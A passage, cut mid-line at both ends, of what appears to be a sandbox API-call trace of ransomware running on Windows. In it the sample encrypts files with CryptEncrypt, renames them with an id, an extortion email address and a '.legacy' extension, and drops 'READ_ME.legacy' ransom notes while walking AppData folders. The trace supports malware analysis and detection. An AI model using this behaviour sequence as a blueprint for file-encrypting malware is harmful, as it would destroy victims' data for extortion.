nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x480, lpOverlapped=0x0) returned 1 [0146.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583168 | out: hHeap=0x520000) returned 1 [0146.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614418 | out: hHeap=0x520000) returned 1 [0146.202] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x480 [0146.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0146.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0146.203] WriteFile (in: hFile=0x7e0, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0146.203] WriteFile (in: hFile=0x7e0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0146.203] CloseHandle (hObject=0x7e0) returned 1 [0146.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0146.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0146.203] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0146.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b148 | out: hHeap=0x520000) returned 1 [0146.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0146.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585560 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5859d8 | out: hHeap=0x520000) returned 1 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d640 | out: hHeap=0x520000) returned 1 [0146.207] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c598 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.207] GetLastError () returned 0x0 [0146.207] SetLastError (dwErrCode=0x0) [0146.207] GetLastError () returned 0x0 [0146.207] SetLastError (dwErrCode=0x0) [0146.207] GetLastError () returned 0x0 [0146.207] SetLastError (dwErrCode=0x0) [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0146.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0146.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0146.208] FindNextFileW (in: hFindFile=0x60c598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.208] GetLastError () returned 0x0 [0146.208] SetLastError (dwErrCode=0x0) [0146.208] GetLastError () returned 0x0 [0146.208] SetLastError (dwErrCode=0x0) [0146.208] GetLastError () returned 0x0 [0146.208] SetLastError (dwErrCode=0x0) [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0146.208] FindNextFileW (in: hFindFile=0x60c598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0146.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.209] GetLastError () returned 0x0 [0146.209] SetLastError (dwErrCode=0x0) [0146.209] GetLastError () returned 0x0 [0146.209] SetLastError (dwErrCode=0x0) [0146.209] GetLastError () returned 0x0 [0146.209] SetLastError (dwErrCode=0x0) [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0146.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102c0 | out: hHeap=0x520000) returned 1 [0146.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.209] GetLastError () returned 0x0 [0146.209] SetLastError (dwErrCode=0x0) [0146.209] GetLastError () returned 0x0 [0146.209] SetLastError (dwErrCode=0x0) [0146.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0146.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0146.210] GetLastError () returned 0x0 [0146.210] SetLastError (dwErrCode=0x0) [0146.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611868 [0146.210] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\user data\\dictionaries\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4 [0146.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611868 | out: hHeap=0x520000) returned 1 [0146.211] WriteFile (in: hFile=0x7e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0146.212] CloseHandle (hObject=0x7e4) returned 1 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0146.212] FindNextFileW (in: hFindFile=0x60c598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.212] GetLastError () returned 0x0 [0146.212] SetLastError (dwErrCode=0x0) [0146.212] GetLastError () returned 0x0 [0146.212] SetLastError (dwErrCode=0x0) [0146.212] GetLastError () returned 0x0 [0146.212] SetLastError (dwErrCode=0x0) [0146.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0146.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102c0 | out: hHeap=0x520000) returned 1 [0146.212] FindNextFileW (in: hFindFile=0x60c598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0146.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585a40 [0146.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585560 | out: hHeap=0x520000) returned 1 [0146.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0146.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0146.213] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c558 [0146.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.213] GetLastError () returned 0x12 [0146.213] SetLastError (dwErrCode=0x12) [0146.213] GetLastError () returned 0x12 [0146.213] SetLastError (dwErrCode=0x12) [0146.213] GetLastError () returned 0x12 [0146.213] SetLastError (dwErrCode=0x12) [0146.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0146.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0146.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c618 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c618 | out: hHeap=0x520000) returned 1 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0146.214] FindNextFileW (in: hFindFile=0x60c558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0146.214] GetLastError () returned 0x12 [0146.214] SetLastError (dwErrCode=0x12) [0146.214] GetLastError () returned 0x12 [0146.214] SetLastError (dwErrCode=0x12) [0146.214] GetLastError () returned 0x12 [0146.214] SetLastError (dwErrCode=0x12) [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0146.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610158 [0146.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0146.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0146.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0146.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610158 | out: hHeap=0x520000) returned 1 [0146.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0146.215] FindNextFileW (in: hFindFile=0x60c558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="data", cAlternateFileName="")) returned 1 [0146.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.215] GetLastError () returned 0x12 [0146.215] SetLastError (dwErrCode=0x12) [0146.215] GetLastError () returned 0x12 [0146.215] SetLastError (dwErrCode=0x12) [0146.215] GetLastError () returned 0x12 [0146.215] SetLastError (dwErrCode=0x12) [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585560 [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610158 [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585768 [0146.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0146.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0146.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.216] GetLastError () returned 0x12 [0146.216] SetLastError (dwErrCode=0x12) [0146.216] GetLastError () returned 0x12 [0146.216] SetLastError (dwErrCode=0x12) [0146.216] GetLastError () returned 0x12 [0146.216] SetLastError (dwErrCode=0x12) [0146.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0146.216] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\data\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8 [0146.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0146.218] WriteFile (in: hFile=0x7e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0146.219] CloseHandle (hObject=0x7e8) returned 1 [0146.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0146.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0146.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585768 | out: hHeap=0x520000) returned 1 [0146.219] FindNextFileW (in: hFindFile=0x60c558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0146.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0146.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0146.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.219] GetLastError () returned 0x0 [0146.219] SetLastError (dwErrCode=0x0) [0146.220] GetLastError () returned 0x0 [0146.220] SetLastError (dwErrCode=0x0) [0146.220] GetLastError () returned 0x0 [0146.220] SetLastError (dwErrCode=0x0) [0146.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0146.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0146.220] FindNextFileW (in: hFindFile=0x60c558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19c1db1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe19c1db1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0146.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5854f8 [0146.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585a40 | out: hHeap=0x520000) returned 1 [0146.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0146.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0146.220] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1a672446, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xe19c1db1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c418 [0146.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0146.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0146.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0146.220] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0146.221] GetLastError () returned 0x12 [0146.221] SetLastError (dwErrCode=0x12) [0146.221] GetLastError () returned 0x12 [0146.221] SetLastError (dwErrCode=0x12) [0146.221] GetLastError () returned 0x12 [0146.221] SetLastError (dwErrCode=0x12) [0146.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0146.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0146.221] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0146.221] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0146.221] RtlAllocateHeap 